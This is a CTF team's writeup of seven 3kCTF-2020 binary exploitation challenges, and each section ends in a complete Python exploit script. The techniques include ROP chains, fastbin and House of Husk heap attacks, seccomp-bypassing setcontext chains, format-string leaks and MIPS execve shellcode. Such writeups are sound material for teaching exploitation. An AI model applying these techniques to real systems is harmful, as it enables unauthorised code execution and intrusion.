We zer0pts
played 3kCTF-2020 which was held from 24 July 2020, 17:00 UTC for 20 hours.
There are 5 categories (rev, web, pwn, crypto, misc) and the number of the tasks were well-balanced.
I mainly worked on pwn tasks and I felt they were well-designed.
Fortunately, we reached 1st place! 🎉
I'm going to write my solutions for the tasks I solved. The solvers are available here:
Other members' writeups:
- [pwn 493pts] one and a half man
- [pwn 493pts] linker
- [pwn 496pts] linker revenge
- [pwn 497pts] faker
- [pwn 499pts] big houses
- [pwn 499pts] base jumper
- [pwn 499pts] babym1ps
[pwn 493pts] one and a half man
We're given an x86-64 ELF.
$ checksec -f one_and_a_half_man RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 65 Symbols No 0 2 one_and_a_half_man
The vulnerability is a simple buffer overflow.
However, there're only two external functions: read
and setvbuf
.
The idea of this task is same as "rop13" which I made for ASIS CTF Final 2019 and "advanced easy_stack" from Cyber Mimic Defense 2020.
I overwrote the least significant byte of setvbuf@got
to make it point to syscall
gadget.
The hard point was that I couldn't find a gadget to set rax value.
After overwriting 1 byte of setvbuf@got
, rax will be set to 1, which is equivalent to SYS_write
.
I used this system call to set rax by calling write
and printing 59 bytes.
Then rax will be 59 and we can just call SYS_execve
.
from ptrlib import * elf = ELF("./one_and_a_half_man") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./one_and_a_half_man") sock = Socket("one-and-a-half-man.3k.ctf.to", 8521) rop_pop_rdi = 0x00400693 rop_pop_rsi_r15 = 0x00400692 rop_leave = 0x004005db csu_popper = 0x40068a csu_caller = 0x400670 """ Stage1: stager """ payload = b'A' * (0xa + 8) payload += p64(csu_popper) # stager payload += flat([ 0, 1, elf.got("read"), 0, elf.section(".bss") + 0x100, 0x100 ], map=p64) payload += p64(csu_caller) payload += p64(0xdeadbeef) payload += flat([ 0, elf.section(".bss") + 0x100 - 8, 0, 0, 0, 0 ], map=p64) payload += p64(rop_leave) payload += b'A' * (0xaa - len(payload)) print(hex(len(payload))) sock.send(payload) """ Stage2: core """ # put /bin/sh payload = p64(csu_popper) payload += flat([ 0, 1, elf.got("read"), 0, elf.section(".bss") + 0x80, 8 ], map=p64) payload += p64(csu_caller) payload += p64(0xdeadbeef) # read->syscall / set rax = 1 payload += flat([ 0, 1, elf.got("read"), 0, elf.got("read"), 1 ], map=p64) payload += p64(csu_caller) payload += p64(0xdeadbeef) # write / set rax payload += flat([ 0, 1, elf.got("read"), 1, elf.section(".bss") + 0x80, 59 ], map=p64) payload += p64(csu_caller) payload += p64(0xdeadbeef) # execve payload += flat([ 0, 1, elf.got("read"), elf.section(".bss") + 0x80, 0, 0 ], map=p64) payload += p64(csu_caller) payload += b'A' * (0x100 - len(payload)) sock.send(payload) sock.send(b'/bin/sh\0' + b"\x8f") sock.interactive()
[pwn 493pts] linker
The program has UAF in edit.
$ checksec -f linker RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 87 Symbols Yes 0 6 linker
I just abused the UAF to corrupt fastbin link.
After pointing the link to bss, we can pop a fake chunk around bss section.
Since there exists the pointer list in bss, we can overwrite the pointers.
I injected a fake pointer pointing to free@got
and overwrote it with printf@plt
to cause FSB.
After leaking the libc address, I made it point to system@plt
in the same way.
from ptrlib import * def new(size): sock.sendlineafter("> ", "1") sock.sendlineafter(":\n", str(size)) return int(sock.recvregex("at index (\d+)")[0]) def edit(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter(":\n", str(index)) sock.sendafter(":\n", data) def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter(":\n", str(index)) elf = ELF("./linker") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./linker") sock = Socket("linker.3k.ctf.to", 9654) sock.sendlineafter(":\n", "8") sock.sendafter(":\n", "taro") # fastbin attack logger.info("fastbin dup") for i in range(7): new(0x68) delete(0) new(0x68) new(0x68) delete(0) delete(1) edit(1, p64(0x60209d)) new(0x68) new(0x68) # overwrite bss logger.info("overwrite") payload = b'AAA' payload += p64(0) * 2 payload += p32(0x68) * 8 payload += p32(1) * 2 + p32(0) * 6 payload += p64(elf.got("free")) payload += p64(0x00000000006020ad) edit(1, payload) edit(0, p64(elf.plt("printf"))) # now free is printf new(0x100) edit(2, "/bin/sh;%{}$p\n".format(15 + 6)) delete(2) libc_base = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) - libc.symbol("__libc_start_main") - 0xe7 logger.info("libc = " + hex(libc_base)) # do whatever logger.info("mostly done") payload = b'AAA' payload += p64(0) * 2 payload += p32(0x68) * 8 payload += p32(1) * 3 + p32(0) * 5 payload += p64(elf.got("free")) edit(1, payload) edit(0, p64(libc_base + libc.symbol("system"))) # now free is system delete(2) sock.interactive()
[pwn 496pts] linker revenge
The program is quite similar to that of "linker" challenge. The difference is that RELRO and seccomp are enabled this time.
$ checksec -f linker_revenge RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 92 Symbols Yes 0 6 linker_revenge
seccomp:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000005 if (A == fstat) goto 0010 0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010 0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL
Same principle as "linker", I used the fake chunk on bss. At first I didn't notice "Show" function is added this time and I was abusing FILE structure, which caused timeout on remote.
from ptrlib import * import time def new(size): sock.sendlineafter("> ", "1\0\0") sock.sendlineafter(":\n", str(size)) def edit(index, data): sock.sendlineafter("> ", "2\0\0") sock.sendlineafter(":\n", str(index)) sock.sendafter(":\n", data) def delete(index): sock.sendlineafter("> ", "3\0\0") sock.sendlineafter(":\n", str(index)) def show(index): sock.sendlineafter("> ", "5\0\0") sock.sendlineafter(":\n", str(index)) return sock.recvline() elf = ELF("./linker_revenge") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./linker_revenge") #sock = Socket("localhost", 9999) sock = Socket("linker-revenge.3k.ctf.to", 9632) sock.sendlineafter(":\n", "5") sock.sendlineafter(":\n", "taro") # fastbin attack logger.info("fastbin dup") for i in range(7): new(0x68) delete(0) new(0x68) new(0x68) delete(0) delete(1) edit(1, p64(0x60203d)) new(0x68) new(0x68) # overwrite bss logger.info("overwrite") payload = b'AAA' payload += p64(0) * 2 payload += p32(0xff) * 8 payload += p32(1) * 3 + p32(0) * 5 payload += p64(0x602060) # ptr[0] = &page_size payload += p64(0x602020) payload += p64(0x6020b8) edit(1, payload) new(0x408) # leak libc & heap libc_base = u64(show(1)) - libc.symbol("_IO_2_1_stdout_") logger.info("libc = " + hex(libc_base)) heap_base = u64(show(2)) - 0x2290 logger.info("heap = " + hex(heap_base)) # pwn rop_pop_rdi = libc_base + 0x0002155f rop_pop_rsi = libc_base + 0x00023e8a rop_pop_rax = libc_base + 0x00043a77 rop_pop_rdx = libc_base + 0x00001b96 rop_xchg_eax_ecx = libc_base + 0x00157bdf rop_syscall = libc_base + 0x000d29d5 payload = p32(0x4ff) * 8 payload += p32(1) * 5 + p32(0) * 3 payload += p64(0x602060) + p64(libc_base + libc.symbol("__free_hook")) edit(0, payload) edit(1, p64(libc_base + libc.symbol("setcontext") + 0x35)) payload = b'' payload += b"flag\0\0\0\0" + p64(0) # rdi + 0x00 payload += p64(0) + p64(0) # rdi + 0x10 payload += p64(0) + p64(0) # rdi + 0x20 --> XXX, r8 payload += p64(0) + p64(0) # rdi + 0x30 --> r9 , XXX payload += p64(0) + p64(0) # rdi + 0x40 --> XXX, r12 payload += p64(0) + p64(0) # rdi + 0x50 --> r13, r14 payload += p64(0) + p64(0xffffffffffffff9c) # rdi + 0x60 --> r15, rdi payload += p64(heap_base + 0x2290) + p64(0) # rdi + 0x70 --> rsi, rbp payload += p64(0) + p64(0) # rdi + 0x80 --> rbx, rdx payload += p64(0) + p64(0) # rdi + 0x90 --> XXX, rcx payload += p64(heap_base + 0x2340 - 8) + p64(rop_pop_rax) # rdi + 0xa0 --> rsp, rip # openat(0, "flag", 0) payload += p64(rop_pop_rax) payload += p64(257) payload += p64(rop_syscall) # read(3, heap, 0x40) payload += p64(rop_pop_rdi) payload += p64(6) payload += p64(rop_pop_rsi) payload += p64(heap_base) payload += p64(rop_pop_rdx) payload += p64(0x40) payload += p64(rop_pop_rax) payload += p64(0) payload += p64(rop_syscall) # write(1, heap, 0x40) payload += p64(rop_pop_rdi) payload += p64(1) payload += p64(rop_pop_rsi) payload += p64(heap_base) payload += p64(rop_pop_rdx) payload += p64(0x40) payload += p64(rop_pop_rax) payload += p64(1) payload += p64(rop_syscall) edit(3, payload) delete(3) sock.interactive()
[pwn 497pts] faker
Again, the binary is similar to that of "linker" and "linker revenge." Seccomp is enabled and RELRO is disabled.
$ checksec -f faker RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 91 Symbols No 0 6 faker
Same idea.
from ptrlib import * def new(size): sock.sendlineafter("> ", "1") sock.sendlineafter(":\n", str(size)) return int(sock.recvregex("at index (\d+)")[0]) def edit(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter(":\n", str(index)) sock.sendafter(":\n", data) def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter(":\n", str(index)) elf = ELF("./faker") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./faker") sock = Socket("faker.3k.ctf.to", 5231) sock.sendlineafter(":\n", "4") sock.sendafter(":\n", "taro") # fastbin attack logger.info("fastbin dup") for i in range(7): new(0x68) delete(0) new(0x68) new(0x68) delete(0) delete(1) edit(1, p64(0x6020bd)) new(0x68) new(0x68) # overwrite bss logger.info("overwrite") payload = b'AAA' payload += p64(0) * 2 payload += p32(0x68) * 8 payload += p32(1) * 2 + p32(0) * 6 payload += p64(elf.got("free")) payload += p64(0x6020e0) edit(1, payload) edit(0, p64(elf.plt("printf"))) # now free is printf new(0x40) edit(2, "%{}$p\n".format(13 + 6)) delete(2) libc_base = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) - libc.symbol("__libc_start_main") - 0xe7 logger.info("libc = " + hex(libc_base)) # leak heap logger.info("mostly done") payload = p32(0x68) * 8 payload += p32(1) * 3 + p32(0) * 5 payload += p64(elf.got("free")) payload += p64(0x6020e0) payload += p64(0x602138) edit(1, payload) new(0x70) # 3 new(0x70) # 4 delete(2) heap_base = u64(sock.recvuntil("1- Get")[:-6]) - 0x14b0 logger.info("heap = " + hex(heap_base)) edit(0, p64(libc_base + libc.symbol("setcontext") + 0x35)) # now free is setcontext rop_pop_rdi = libc_base + 0x0002155f rop_pop_rsi = libc_base + 0x00023e8a rop_pop_rax = libc_base + 0x00043a77 rop_pop_rdx = libc_base + 0x00001b96 rop_xchg_eax_ecx = libc_base + 0x00157bdf rop_syscall = libc_base + 0x000d29d5 payload = b'' payload += b'flag\0\0\0\0' + p64(0xffffffffffffff9c) # rdi + 0x60 --> r15, rdi payload += p64(heap_base + 0x14b0) + p64(0) # rdi + 0x70 --> rsi, rbp payload += p64(0) + p64(0) # rdi + 0x80 --> rbx, rdx payload += p64(0) + p64(0) # rdi + 0x90 --> XXX, rcx payload += p64(heap_base + 0x17d0 - 8) + p64(rop_pop_rax) # rdi + 0xa0 --> rsp, edit(3, payload) payload = p32(0xfff) * 8 payload += p32(1) * 5 + p32(0) * 3 payload += p64(elf.got("free")) payload += p64(0x6020e0) payload += p64(heap_base + 0x14b0 - 0x60) edit(1, payload) payload = b'' payload += p64(rop_pop_rax) payload += p64(257) payload += p64(rop_syscall) # read(fd, heap, 0x40) payload += p64(rop_pop_rdi) payload += p64(6) payload += p64(rop_pop_rsi) payload += p64(heap_base) payload += p64(rop_pop_rdx) payload += p64(0x40) payload += p64(rop_pop_rax) payload += p64(0) payload += p64(rop_syscall) # write(1, heap, 0x40) payload += p64(rop_pop_rdi) payload += p64(1) payload += p64(rop_pop_rsi) payload += p64(heap_base) payload += p64(rop_pop_rdx) payload += p64(0x40) payload += p64(rop_pop_rax) payload += p64(1) payload += p64(rop_syscall) edit(4, payload) delete(2) sock.interactive()
[pwn 499pts] big houses
Fully protected binary.
$ checksec -f big_houses RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 92 Symbols Yes 0 6 big_houses
The vulnerability is an obvious off-by-null. However, we can only allocate chunks larger than 0x8f by calloc, which means we can use neither fastbin nor tcache.
I used House of Einherjar to overlap multiple chunks by abusing unsorted bin. When we can only use large chunks, House of Husk is useful :)
from ptrlib import * import time def add(size, name): sock.sendlineafter("> ", "1") sock.sendlineafter(":\n", str(size)) sock.sendafter(":\n", name) def delete(index): sock.sendlineafter("> ", "2") sock.sendlineafter(":\n", str(index)) def show(): sock.sendlineafter("> ", "3") r = [] while True: l = sock.recvline() if b'Add item' in l: break else: r.append(l[3:]) return r def edit(index, name): sock.sendlineafter("> ", "4") sock.sendlineafter(":\n", str(index)) sock.sendafter(":\n", name) def offset2size(ofs): return ofs * 2 - 0x10 libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./big_houses") sock = Socket("big-houses.3k.ctf.to", 7412) sock.sendlineafter("> ", "1") # evict tcache logger.info("evict tcache") for i in range(7): add(0x98, "dummy") delete(0) # overlap chunk logger.info("prepare chunk") payload = b'D' * 0x4f0 payload += p64(0) + p64(0x21) payload += p64(0) * 2 payload += p64(0) + p64(0x21) add(0x427, "A") add(0x97, "B") add(0x97, "C") add(0x527, payload) add(0x97, "E") logger.info("overlap chunk") payload = b"C" * 0x90 payload += p64(0x570) delete(2) add(0x98, payload) delete(0) delete(3) delete(4) add(offset2size(0x3f0658 - libc.main_arena()), "A") add(offset2size(0x3ec870 - libc.main_arena()), "B") # leak libc add(0x428, "dummy") libc_base = u64(show()[1]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) # house of husk logger.info("house of husk") one_gadget = 0x10a45c edit(1, p64(0) + p64(libc_base + 0x3ed940 - 0x10)) time.sleep(0.5) add(0x5f8, "unsorted bin attack") payload = p64(0) * (ord('u') - 2) payload += p64(libc_base + one_gadget) payload += b'\n' edit(3, payload) time.sleep(0.5) delete(0) delete(3) sock.sendlineafter("> ", "5") sock.sendlineafter("> ", "2") sock.interactive()
wow the flag
3k{husk_HUSK_husk_credits_@ptrYudai}
[pwn 499pts] base jumper
x86-64 ELF
$ checksec -f base_jumper RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 2 base_jumper
The program has only fgets
, fflush
, setvbuf
.
There's a simple buffer overflow.
This challenge is similar to "babybof", which is a challenge I made for zer0pts CTF.
There was an unintended solution in that challenge but this time we can't cheat as fgets
is used instead of read
.
Fortunately it provides fflush
, which makes it much easier than "babybof."
I leave the detailed writeup here in zer0pts CTF writeup.
from ptrlib import * elf = ELF("./base_jumper") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./base_jumper") sock = Socket("basejumper.3k.ctf.to", 3147) rop_pop_rdi = 0x00400763 rop_pop_rsi_r15 = 0x00400761 rop_pop_r15 = 0x00400762 rop_set_rdx_stdin = elf.symbol("gift") rop_leave = 0x00400666 rop_ret = 0x0040050e rop_pop_rbp = 0x004005b8 """ Stage1: core """ stage1 = b'A' * (0xa + 8) # fgets(0x601000, 0x20, stdin) stage1 += p64(rop_set_rdx_stdin) stage1 += p64(rop_pop_rsi_r15) stage1 += p64(0x20) stage1 += p64(0xdeadbeef) stage1 += p64(rop_pop_rdi) stage1 += p64(0x601000) stage1 += p64(elf.plt("fgets")) # fgets(0x601028, 8, stdin) stage1 += p64(rop_set_rdx_stdin) stage1 += p64(rop_pop_rsi_r15) stage1 += p64(0x8) stage1 += p64(0xdeadbeef) stage1 += p64(rop_pop_rdi) stage1 += p64(0x601028) stage1 += p64(elf.plt("fgets")) # fgets(0x601038, 8, stdin) stage1 += p64(rop_set_rdx_stdin) stage1 += p64(rop_pop_rsi_r15) stage1 += p64(0x8) stage1 += p64(0xdeadbeef) stage1 += p64(rop_pop_rdi) stage1 += p64(0x601038) stage1 += p64(elf.plt("fgets")) # fgets(0x601048, 0x400, stdin) stage1 += p64(rop_set_rdx_stdin) stage1 += p64(rop_pop_rsi_r15) stage1 += p64(0x400) stage1 += p64(0xdeadbeef) stage1 += p64(rop_pop_rdi) stage1 += p64(0x601048) stage1 += p64(elf.plt("fgets")) # go to stage2 stage1 += p64(rop_pop_rbp) stage1 += p64(0x601000 - 8) stage1 += p64(rop_leave) stage1 += b'A' * (0x400 - len(stage1)) """ Stage2: overwrite stdout """ # fgets(stdout, 0x21, stdin) stage2_1 = p64(rop_pop_rsi_r15) stage2_1 += p64(0x20) stage2_1 += p64(0xdeadbeef) stage2_1 += p64(rop_pop_rdi) stage2_2 = p64(rop_pop_r15) stage2_3 = p64(rop_pop_r15) stage2_4 = p64(rop_ret) * 0x20 stage2_4 += p64(rop_set_rdx_stdin) stage2_4 += p64(rop_pop_rsi_r15) stage2_4 += p64(0x21) stage2_4 += p64(0xdeadbeef) stage2_4 += p64(elf.plt("fgets")) # fgets(0x601000, 0x20, stdin) stage2_4 += p64(rop_set_rdx_stdin) stage2_4 += p64(rop_pop_rsi_r15) stage2_4 += p64(0x20) stage2_4 += p64(0xdeadbeef) stage2_4 += p64(rop_pop_rdi) stage2_4 += p64(0x601000) stage2_4 += p64(elf.plt("fgets")) # fgets(0x601048, 0x200, stdin) stage2_4 += p64(rop_ret) * 0x20 stage2_4 += p64(rop_set_rdx_stdin) stage2_4 += p64(rop_pop_rsi_r15) stage2_4 += p64(0x200) stage2_4 += p64(0xdeadbeef) stage2_4 += p64(rop_pop_rdi) stage2_4 += p64(0x601048) stage2_4 += p64(elf.plt("fgets")) # go to stage3 stage2_4 += p64(rop_pop_rbp) stage2_4 += p64(0x601000 - 8) stage2_4 += p64(rop_leave) stage2_4 += b'A' * (0x400 - len(stage2_4)) """ Stage3: flush stdout """ # flush(stdout) stage3_1 = p64(rop_ret) stage3_1 += p64(rop_ret) stage3_1 += p64(rop_ret) stage3_1 += p64(rop_pop_rdi) stage3_2 = p64(rop_ret) * 0x20 stage3_2 += p64(elf.plt("fflush")) stage3_2 += p64(elf.symbol("vuln")) stage3_2 += b'A' * (0x200 - len(stage3_2)) # do it sock.send(stage1[:-1]) sock.send(stage2_1[:-1]) sock.send(stage2_2[:-1]) sock.send(stage2_3[:-1]) sock.send(stage2_4[:-1]) sock.send(p64(0xfbad1800) + b'\x00' * 0x18) sock.send(stage3_1[:-1]) sock.send(stage3_2[:-1]) libc_base = u64(sock.recv()[8:16]) - 0x3ed8b0 logger.info("libc = " + hex(libc_base)) # get the shell! rop_pop_rdx = libc_base + 0x00001b96 payload = b'A' * (0xa + 8) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rsi_r15) payload += p64(0) payload += p64(0xdeadbeef) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("execve")) sock.sendline(payload) sock.interactive()
When I made "babybof" for zer0pts CTF 2020, I did a really hard research on this type of simple buffer overflow. I'm not going to write about it but there exists many (not-yet-published) ways to pwn it without output, especially when it's compiled with gcc/clang. Thanks to my past research, this task was pretty easy for me :P
[pwn 499pts] babym1ps
We're given a statically-linked 32-bit ELF for MIPS.
$ checksec -f challenge RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 0 challenge
There exists a simple buffer overflow in main function.
Before writing ROP, we have to find out the password because the program calls exit
when it's wrong.
I analysed the binary with Ghidra+GDB and wrote the following decoder.
t = [ 0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd, 0xba, 0xab, 0xf2, 0xfb, 0xe3, ] cred = b'\x8f\x55\x29\xa2\x9f\x7a\x2e\x93\xfb\xa8\xba\x10\xa8\x7c\x19' password = b"" for i in range(15): for c in range(0x100): if (c * 10 ^ i + t[i]) & 0xff == cred[i]: password += bytes([c]) break print(password)
I'm not familiar with MIPS exploit and what I could use was only ret2csu :3
I just injected shellcode to bss section and executed it.
from ptrlib import * import time elf = ELF("./challenge") #sock = Process(["qemu-mipsel-static", "-g", "12345", "./challenge"]) #sock = Process(["qemu-mipsel-static", "./challenge"]) sock = Socket("babymips.3k.ctf.to", 7777) sock.recvline() sock.send(b'A' * 0x81) csu_popper = 0x004010e4 csu_caller = 0x004010c4 canary = u32(b'\x00' + sock.recvline()[0x81:0x84]) logger.info("canary = " + hex(canary)) payload = b"dumbasspassword\x00" payload += b'A' * (0x80 - len(payload)) payload += p32(canary) payload += p32(0xdeadbeef) payload += p32(csu_popper) payload += p32(0xdeadbeef) * 7 payload += flat([ 0x491438, 0, 0, elf.section(".bss")+0x100, 0x100, 1 ], map=p32) payload += p32(csu_caller) payload += p32(0xdeadbeef) * 7 payload += flat([ 0, 1, 2, 3, 4, 5 ], map=p32) payload += p32(elf.section(".bss")+0x100) sock.send(payload) shellcode = b'' shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1 shellcode += b"\xff\xff\xd0\x04" # bltzal $a2, <p> shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1 shellcode += b"\x01\x10\xe4\x27" # addu $a0, $ra, 4097 shellcode += b"\x0f\xf0\x84\x24" # addu $a0, $a0, -4081 shellcode += b"\xab\x0f\x02\x24" # li $v0, 4011 shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404 shellcode += b"/bin/sh" time.sleep(3) sock.send(shellcode) sock.interactive()